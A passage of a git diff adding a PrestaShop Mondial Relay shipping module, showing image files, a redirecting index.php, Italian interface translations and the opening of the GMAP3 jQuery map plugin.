b/modules/mondialrelay2/images/loader.gif differ diff --git a/modules/mondialrelay2/images/logo.gif b/modules/mondialrelay2/images/logo.gif new file mode 100755 index 0000000..06f8471 Binary files /dev/null and b/modules/mondialrelay2/images/logo.gif differ diff --git a/modules/mondialrelay2/images/pdf_icon.jpg b/modules/mondialrelay2/images/pdf_icon.jpg new file mode 100755 index 0000000..81712ce Binary files /dev/null and b/modules/mondialrelay2/images/pdf_icon.jpg differ diff --git a/modules/mondialrelay2/images/selectRelayPoint.png b/modules/mondialrelay2/images/selectRelayPoint.png new file mode 100755 index 0000000..b6462f0 Binary files /dev/null and b/modules/mondialrelay2/images/selectRelayPoint.png differ diff --git a/modules/mondialrelay2/index.php b/modules/mondialrelay2/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay2/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/it.php b/modules/mondialrelay2/it.php new file mode 100755 index 0000000..1bb7e6a --- /dev/null +++ b/modules/mondialrelay2/it.php @@ -0,0 +1,188 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Azione avvenuta con successo'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Stato ordine aggiornato'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Non posso aggiornare l\'account negozio'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Consegna nei punti Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Insegna non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Codice marchio non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Chiave webservice non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Lingua non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficiente di peso non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nome del corriere non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col mode non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Modalità di consegna non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Modalità di garanzia non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'È necessario scegliere almeno un paese di consegna'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Stato dell\'ordine non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Azione avvenuta con successo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Dettaggli account aggiornati con successo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Non posso aggiornare l\'account negozio'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Metodo di spedizione aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Stato ordine cambiato con succsso'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Spedizioniere trovato (disabilitato dal database di prestashop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numero spedizione:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Etichetta URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL di tracking'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numero punto relay:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'Range di peso non può essere aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'Range di prezzo non può essere aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'Zona di default non può essere aggiunta'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'Zona dello spedizioniere e di destinazione non può essere aggiunta'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Spedizioniere non può essere creato in PrestaShop'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Metodo di spedizione non può essere aggiunto per il modulo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Spedizioniere non può essere cancellato'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Questo errore non è contemplata:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Si prega di selezionare almeno un ordine'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'è vuoto e deve essere riempito'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Spedizione Numero:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'Biglietto URL:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'URL di tracciamento:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Si prega di controllare la configurazione del linguaggio'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Si prega di controllare la configurazione del nome del negozio'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Verifica il tuo indirizzo 1 configurazione'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Si prega di controllare la configurazione della città'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Si prega di controllare la configurazione del codice postale'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_74cb73eddbe6eaf556023f943fc7e1fd'] = 'Sembra che il formato del tuo CAP non sia stato configurato o non configurato correttamente'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Si prega di controllare la configurazione del paese'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Si prega di controllare la configurazione del telefono'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Controlla la tua configurazione della posta'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'Una versione precedente alla 1.4 di PrestaShop non può validare il CAP'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Indirizzo di un cliente non può essere trovato'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'non ha un formato Valide valore'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay non riesce a trovare alcun punto di relè vicino al vostro indirizzo. Forse il vostro indirizzo non è riempita?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'non ha un formato Valide valore'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Disinstallazione Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Sei tentativo di disinstallare il modulo, vuoi rimuovere il database'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Keep it e disinstallare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Rimuovere e disinstallare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annullare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Alcune voci non possono essere rimossi, prova a rimuoverlo di nuovo'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Si prega di selezionare almeno un elemento di storia'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Indirizzo di un cliente non può essere trovato'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'è vuoto e deve essere riempito'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lunedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Martedì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercoledì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Giovedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Venerdì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Sabato'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Domenica'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondial Relay non può trovare dei punti relay a causa di un errore di PrestaShop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configurazione Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Dettagli account'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Settaggi avanzati'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'informazioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Per favore inserisci i tuoi settaggi account di Modial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Cerca di spegnere la cache e forza la compilazione su sì'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'Se hai problemi con questo modulo dopo un aggiornamento'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Guarda il seguente HOW TO per aiutarti a configurare il modulo Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Per creare uno spedizioniere Modial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Inserisci e salva i tuoi settaggi account Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Crea uno Spedizioniere usanto il bottone Spedizioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definisci un prezzo per il tuo corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La pagina del corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Per generare le etichette, devi aver registrato un indirizzo valido nel tuo negozio nella tua'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'pagina contatti'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Settaggi account Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Questi parametri ti sono stati forniti da Mondial Relay una volta iscritto al servizio'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Insegna WebService:'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Codice marca:'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Chiave WebService'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficiente di peso'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'Grammi = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Aggiorna le impostazioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Campi richiesti'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Settaggi avanzati'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL Cron Task:'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Aggiunti un metodo di spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nome corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Ritardo'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Modalità di consegna'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Consegna ad un punto Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Consegna dal corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Consegna a piano terra (1 persona)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Consegna a casa (2 persone)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assicurazione'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'No assicurazione'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Complementary Insurance Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Complementary Insurance Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Complementary Insurance Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Complementary Insurance Lv4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Complementary Insurance Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Nazioni di consegna:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Tu puoi scegliere diverse nazioni premendo CTRL'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Francia'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Beglio'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Lussemburgo'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Spagna'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Lista metodi di spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Nessun metodo di spedizione creato'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Configura spedizioni'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Seleziona'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'Selezionato'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Scegli un punto Reley'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Apertura ore'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Altri dettagli'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Spedire a'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Segui il mio pacco sul sito Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'errore(i)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Grazie per correggere gli errori su'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la pagina contatti:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Tutti gli ordini che hanno uno stato'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'sarà disponibile per la creazione di una etichetta'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Lista ordini'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'ID ordine'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Totale prezzo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Totale spedizione'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Data'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Inserisci un peso (gr)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'MR numero'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'MR Nazione'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'EXP Numero'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Dettagli'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Vedi'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Operazione completata con successo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Nessun ordine con questo stato'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Generare'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Storico delle etichette create'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'ID ordine'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp num'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Stampa etichetta A4'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Stampa etichetta A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Nessun storico disponibile'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Cancella storico selezionato'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Settaggi tab Admin'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Scegli uno stato ordine per le etichette'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Salva'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Impostazioni'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_212446275f2cee81b55a18a3106c6d59'] = 'Non posso creare un tabella metodi'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_c3f1bb9f4e93ec07fc892f1781ddb66b'] = 'Non posso cambiare nome alla tabella metodi'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e2aa3260446c53906857d068b0b940b5'] = 'Non posso rinominare la tabella storico'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_3ac9c6d6990ac32120d0c767a02ff961'] = 'Non posso aggiornare la tabella mr_method_shop'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_59b7c6d35d8f9547e5d72b93b843645f'] = 'Non posso aggiungere un nuovo campo nella methodtable'; diff --git a/modules/mondialrelay2/js/gmap.js b/modules/mondialrelay2/js/gmap.js new file mode 100755 index 0000000..4ffe85b --- /dev/null +++ b/modules/mondialrelay2/js/gmap.js @@ -0,0 +1,2222 @@ +/* + * GMAP3 Plugin for JQuery + * Version : 4.1 + * Date : 2011-11-18 + * Licence : GPL v3 : http://www.gnu.org/licenses/gpl.html + * Author : DEMONTE Jean-Baptiste + * Contact : jbdemonte@gmail.com + * Web site : http://gmap3.net + * + * Copyright (c) 2010-2011 Jean-Baptiste DEMONTE + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * - Neither the name of the author nor the names of its contributors + * may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + + (function ($) { + + /***************************************************************************/ + /* STACK */ + /***************************************************************************/ + function Stack (){ + var st = []; + this.empty = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]){ + return false + } + } + return true; + } + this.add = function(v){ + st.push(v); + } + this.addNext = function ( v){ + var t=[], i, k = 0; + for(i = 0; i < st.length; i++){ + if (!st[i]){ + continue; + } + if (k == 1) { + t.push(v); + } + t.push(st[i]); + k++; + } + if (k < 2) { + t.push(v); + } + st = t; + } + this.get = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + return st[i]; + } + } + return false; + } + this.ack = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + delete st[i]; + break; + } + } + if (this.empty()){ + st = []; + } + } + } + + /***************************************************************************/ + /* STORE */ + /***************************************************************************/ + function Store(){ + var store = {}; + + /** + * add a mixed to the store + **/ + this.add = function(name, obj, todo){ + name = name.toLowerCase(); + if (!store[name]){ + store[name] = []; + } + store[name].push({obj:obj, tag:ival(todo, 'tag')}); + return name + '-' + (store[name].length-1); + } + + /** + * return a stored mixed + **/ + this.get = function(name, last, tag){ + var i, idx, add; + name = name.toLowerCase(); + if (!store[name] || !store[name].length){ + return null; + } + idx = last ? store[name].length : -1; + add = last ? -1 : 